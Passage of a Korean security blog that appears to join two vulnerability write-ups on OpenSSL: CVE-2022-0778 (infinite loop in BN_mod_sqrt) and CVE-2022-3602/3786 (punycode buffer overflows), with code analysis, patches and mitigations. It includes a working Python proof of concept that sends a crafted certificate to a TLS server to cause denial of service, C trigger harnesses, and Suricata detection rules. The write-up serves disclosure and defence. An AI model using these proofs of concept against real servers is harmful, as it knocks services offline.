- OpenSSL 1.0.2 및 이전 버전
- OpenSSL 1.1.1 및 이전 버전
- OpenSSL 3.0 및 이전 버전

② 영향받는 상황
- 서버 인증서를 사용하는 TLS 클라이언트
- 클라이언트 인증서를 사용하는 TLS 서버
- 고객으로부터 인증서 또는 개인 키를 받는 호스팅 제공업체
- 인증 기관이 가입자의 인증 요청을 구문 분석
- ASN.1 타원 곡선 매개변수를 구문 분석하는 기타 모든 것
- 매개변수 값을 제어하는 ​​BN_mod_sqrt()를 사용하는 OpenSSL 응용 프로그램

 

2.1 분석

- a, p에 대하여 r^2 = a ( nod p) 를 만족하는 r 을 modular 제곱근이라함

- BN_mod_sqrt()는 모듈러의 제곱근을 계산

※ 함수 위치 : bn_sqrt.c

※ Tonelli–Shanks 알고리즘을 이용해 modular 제곱근을 찾는 함수

 

- 해당 함수는 아래 형식의 인증서를 해석할 때 사용

① 인증서에 압축 형식의 타원 곡선 공개 키가 포함된 경우

② 압축 형식으로 부호화된 기점을 갖는 명시적 타원 곡선 매개변수를 포함하는 인증서

 

- b^(2^i) = 1 (mod p)를 만족하는 i를 찾는 과정에서 발생

- 매개변수 p가 소수여야 하지만 함수에 검사가 없으므로 내부에 무한 루프가 발생할 수 있음

while (!BN_is_one(t)) {
            i++;
            if (i == e) {
                ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
                goto end;
            }
            if (!BN_mod_mul(t, t, t, p, ctx))
                goto end;
        }

- 위 코드는 BN_mod_sqrt() 중 취약점이 발생하는 부분

① 고정된 e와 증가하는 i에 대해 해당 loop는 i == e인 시점에 알고리즘은 종료되어야 함

② 조작된 입력값을 통해 i=1, e=1 인 상태로 해당 loop에 진입 > 무한 loop가 발생

 

[사진 3] Exploit 패킷 및 결과

2.2 PoC

- PoC의 동작 순서는 다음과 같음

① ClientHello 메시지를 전송

② ServerHello 수신 및 Certificate_Request가 포함되어 있는지 확인

③ 이 경우 임의의(조작된) Certificate를 작성하고 DER 인코딩

※ DER(Distinguished Encoding Rules)

바이너리 형태로 인코딩한 포맷으로 확장자는 .der

der 을 인식할 수 있는 프로그램(ex. openssl 등)으로 파싱하거나 ASN.1 파서를 이용

④ 조작된 Certificate를 전송 및 서버에서 구문 분석 중 CVE-2022-0778 취약점(무한 루프로 인한 서비스 거부) 발생

from socket import socket, AF_INET, SOCK_STREAM

from tlslite import TLSConnection
from tlslite.constants import *
from tlslite.messages import CertificateRequest, HandshakeMsg
from tlslite.utils.codec import Writer
import argparse


class CraftedTLSConnection(TLSConnection):

    def _clientKeyExchange(self, settings, cipherSuite,
                           clientCertChain, privateKey,
                           certificateType,
                           tackExt, clientRandom, serverRandom,
                           keyExchange):
        if cipherSuite in CipherSuite.certAllSuites:
            # Consume server certificate message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.certificate,
                                       certificateType):
                if result in (0, 1):
                    yield result
                else:
                    break

        if cipherSuite not in CipherSuite.certSuites:
            # possibly consume SKE message
            for result in self._getMsg(ContentType.handshake,
                                       HandshakeType.server_key_exchange,
                                       cipherSuite):
                if result in (0, 1):
                    yield result
                else:
                    break

        # Consume Certificate request if any, if not bail
        for result in self._getMsg(ContentType.handshake,
                                   (HandshakeType.certificate_request,
                                    HandshakeType.server_hello_done)):
            if isinstance(result, CertificateRequest):
                craftedCertificate = CraftedCertificate(certificateType)

                craftedCertificate.create(open('crafted.crt', "rb").read())
                for r in self._sendMsg(craftedCertificate):
                    yield r
                print("Crafted Certificate msg sent, check server.")
                exit(0)

            else:
                print("Server does not support TLS client authentication, nothing to do.")
                exit(1)


class CraftedCertificate(HandshakeMsg):
    def __init__(self, certificateType):
        HandshakeMsg.__init__(self, HandshakeType.certificate)
        self.certificateType = certificateType
        self.certChain = None
        self.der = bytearray(0)

    def create(self, certBytes):
        self.der = certBytes

    def write(self):
        w = Writer()
        if self.certificateType == CertificateType.x509:
            chainLength = len(self.der) + 3
            w.add(chainLength, 3)
            w.addVarSeq(self.der, 1, 3)
        else:
            raise AssertionError()
        return self.postWrite(w)


def run(server, port):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.connect((server, port))
    connection = CraftedTLSConnection(sock)
    connection.handshakeClientCert()


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Parameters')
    parser.add_argument('--server', dest='server', type=str, help='Name of the server to connect for the TLS handshake, defaults to "localhost"', default='localhost')
    parser.add_argument('--port', dest='port', type=int, help='Port where server listens for TLS connections, defaults to "443"', default=443)
    args = parser.parse_args()
    run(args.server, args.port)

3. 대응방안

① 최신 업데이트 적용

- i == e 를 종료 조건으로 가지는 for문으로 변경

패치코드

/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
    if (i == 1) {
        if (!BN_mod_sqr(t, b, p, ctx))
            goto end;

    } else {
        if (!BN_mod_mul(t, t, t, p, ctx))
            goto end;
    }
    if (BN_is_one(t))
        break;
}

/* If not found, a is not a square or p is not prime. */
if (i >= e) {
    ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
    goto end;
}
영향 받는 버전 패치 버전
OpenSSL 1.0.2  OpenSSL 1.0.2zd
OpenSSL 1.1.1 OpenSSL 1.1.1n
OpenSSL 3.0  OpenSSL 3.0.2

※ OpenSSL 1.0.2 버전(Premium Level Support 사용자 제외) 및 1.1.0 버전은 더 이상 업데이트가 지원되지 않으니 OpenSSL 1.1.1n 또는 3.0.2 버전으로 변경할 것을 권고

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-0778

https://github.com/drago-96/CVE-2022-0778

https://blog.alyac.co.kr/4563

https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2022-0778

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36498

https://blog.rovermoot.co.kr/237

https://blog.leestory.com/558

- https://update.secui.com/vuln_detail_desc.asp?id=210211&page=8

- https://www.dailysecu.com/news/articleView.html?idxno=135121

https://hackyboiz.github.io/2022/03/19/syru/cve-2022-0778/

- https://github.com/openssl/openssl/blob/1832bb0f02e519a48f06a10467c7ce5f7f3feeeb/crypto/bn/bn_sqrt.c#L310-L318

- https://mazinga83.blogspot.com/2015/09/ssl.html

- https://github.com/jkakavas/CVE-2022-0778-POC

- https://github.com/openssl/openssl/commit/9eafb53614bf65797db25f467946e735e1b43dc9

1. OpenSSL

- 보안 통신에 사용되는 SSL 및 TLS 프로토콜의 오픈소스 라이브러리

- 여러 운영 체제와 광범위한 소프트웨어에 포함

 

/index.html

Welcome to OpenSSL! The OpenSSL Project develops and maintains the OpenSSL software - a robust, commercial-grade, full-featured toolkit for general-purpose cryptography and secure communication. The project’s technical decision making is managed by the O

www.openssl.org

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-3602
[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2022-3786

- OpenSSL에서 X.509 인증서의 이메일 주소 이름 제약 조건 검사 기능 수행 중 버퍼 오버 플로우가 발생 가능

① CVE-2022-3602 : 조작된 이메일 주소가 공격자가 제어하는 스택에서 정확히 4바이트 오버플로를 허용

② CVE-2022-3786 : "." 문자(마침표)가 있는 스택에서 임의의 바이트 수를 오버플로하여 서비스 거부 유발

- Heartbleed(2016) 이후 OpenSSL에서 처음 나온 치명적인 취약점

영향받는 버전
OpenSSL 3.0.0 ~ 3.0.6

 

2.1 분석

- X.509 인증서를 확인하는 동안 Punycodeossl_punycode_decode()에서잘못 처리하여 발생

- 공격자는 BoF를 트리거하도록 특수하게 조작된 퓨니코드로 인코딩된 이메일 주소를 포함하여 Exploit 수행

퓨니코드(Puny Code)
- 유니코드 문자열을 호스트 이름에서 허용된 문자만으로 인코딩하는 방법
- ASCII 문자 집합으로 표시할 수 없는 문자를 인코딩
- OpenSSL 3.0.0에서 도입
- 변환된 퓨니코드 문자열에는 예약된 접두어 "xn--"을 덧붙임
ex) 한국 =>  xn--3e0b707e.kr

참고 : https://ko.wikipedia.org/wiki/%ED%93%A8%EB%8B%88%EC%BD%94%EB%93%9C

 

- CVE-2022-3602, CVE-2022-3786 공격 패킷은 다음과 같음

[사진 3] CVE-2022-3602 공격 패킷 일부
[사진 4] CVE-2022-3786 공격 패킷 일부

2.2 PoC

2.2.1 CVE-2022-3602

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

// Edit to change the test string
#define TEST_STRING "hello! -gr25faaaaaaaaaaaaa"

// Edit to change the output buffer's length
#define DECODED_LENGTH 20

int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  uint32_t *decoded = (uint32_t*) malloc(DECODED_LENGTH * 4);
  unsigned int decoded_len = DECODED_LENGTH;

  if(!ossl_punycode_decode(TEST_STRING, strlen(TEST_STRING), decoded, &decoded_len)) {
    printf("Encoding failed!\n");
    free(decoded);
    exit(1);
  }

  printf("encoded: [%ld] %s\n", strlen(TEST_STRING), TEST_STRING);
  printf("decoded: [%d] ", decoded_len);

  int i;
  for(i = 0; i < decoded_len; i++) {
    printf("%lc", decoded[i]);
  }
  printf("\n");

  free(decoded);
  return 0;
}

 

2.2.2 CVE-2022-3786

#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

int ossl_a2ulabel(const char *in, char *out, size_t *outlen);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  char *teststring = "a.b.c.d.e.f.g.h.i.j.k.l.m.n.o.p.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--.xn--";
  char out[16];
  size_t outlen = sizeof(out);

  int result = ossl_a2ulabel(teststring, out, &outlen);

  if(result == 1) {
    printf("Ok: [%ld] %s\n", outlen, out);
  } else if(result == 0) {
    printf("Too short: [%ld : %ld] %s\n", outlen, strlen(out), out);
  } else {
    printf("Bad string\n");
    exit(0);
  }

  return 0;
}

 

3. 대응방안

3.1 서버측면

① 사용중인 OpenSSL 버전을 확인하여 취약한 버전일 경우 벤더사에서 제공하는 최신 패치를 적용한다.

- 해당 취약점은 OpenSSL 3.0.7에서 패치

- OpenSSL 버전 확인 방법 참고

 

OpenSSL 버전 확인 - 제타위키

다음 문자열 포함...

zetawiki.com

- OpenSSL 3.0.7의 ossl_punycode_decode()를 확인해보면 BoF 검증을 위한 코드가 추가된 것으로 판단됨.

 

Fix CVE-2022-3786 in punycode decoder. · openssl/openssl@c42165b

Fixed the ossl_a2ulabel() function which also contained a potential buffer overflow, albeit without control of the contents. This overflow could result in a crash (causing a denial of service). Th...

github.com

 

② 업데이트 적용이 어려울 경우

- TLS 서버는 TLS 클라이언트 인증을 사용 중인 경우 수정 사항이 적용될 때까지 해당 기능을 비활성화

 

3.2 네트워크 측면

① 보안 솔루션에 취약점 탐지 정책 적용

alert tls $EXTERNAL_NET any -> $HOME_NET any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Inbound (CVE-2022-3602)"; flow:established,to_client; tls.certs; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039618; rev:1; metadata:attack_target Server, created_at 2022_11_01, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

alert tls $HOME_NET any -> any any (msg:"ET EXPLOIT Possible OpenSSL Punycode Email Address Buffer Overflow Attempt Outbound (CVE-2022-3602)"; flow:established,to_server; content:"|06 03 55 1d 1e|"; content:"xn--"; fast_pattern; within:30; byte_test:2,>,513,-6,relative; reference:url,www.openssl.org/news/secadv/20221101.txt; reference:cve,2022-3602; classtype:attempted-admin; sid:2039619; rev:1; metadata:attack_target Server, created_at 2022_11_02, cve CVE_2022_3602, deployment Perimeter, former_category EXPLOIT, performance_impact Significant, signature_severity Major, updated_at 2022_11_02;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2022-3602

https://nvd.nist.gov/vuln/detail/CVE-2022-3786

https://www.openssl.org/news/secadv/20221101.txt

https://www.tenable.com/blog/cve-2022-3786-and-cve-2022-3602-openssl-patches-two-high-severity-vulnerabilities

https://github.com/NCSC-NL/OpenSSL-2022/tree/main/software

https://github.com/openssl/openssl/commit/c42165b5706e42f67ef8ef4c351a9a4c5d21639a

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3602-4byteoverwrite.c

https://github.com/rbowes-r7/cve-2022-3602-and-cve-2022-3786-openssl-poc/blob/main/cve-2022-3786-periods.c

https://github.com/splunk/security_content/pull/2450

https://www.forescout.com/blog/openssl-cve-2022-3602-and-cve-2022-3786-spooky-ssl-what-they-are-and-how-to-mitigate-risk/

- https://wins21.co.kr/kor/promotion/information.html?bmain=view&uid=3442&search=%26depth1%3D%26find_field%3Dtitle%26find_word%3DX509%26page%3D1

- https://www.boannews.com/media/view.asp?idx=111249

https://zetawiki.com/wiki/OpenSSL_%EB%B2%84%EC%A0%84_%ED%99%95%EC%9D%B8

+ Recent posts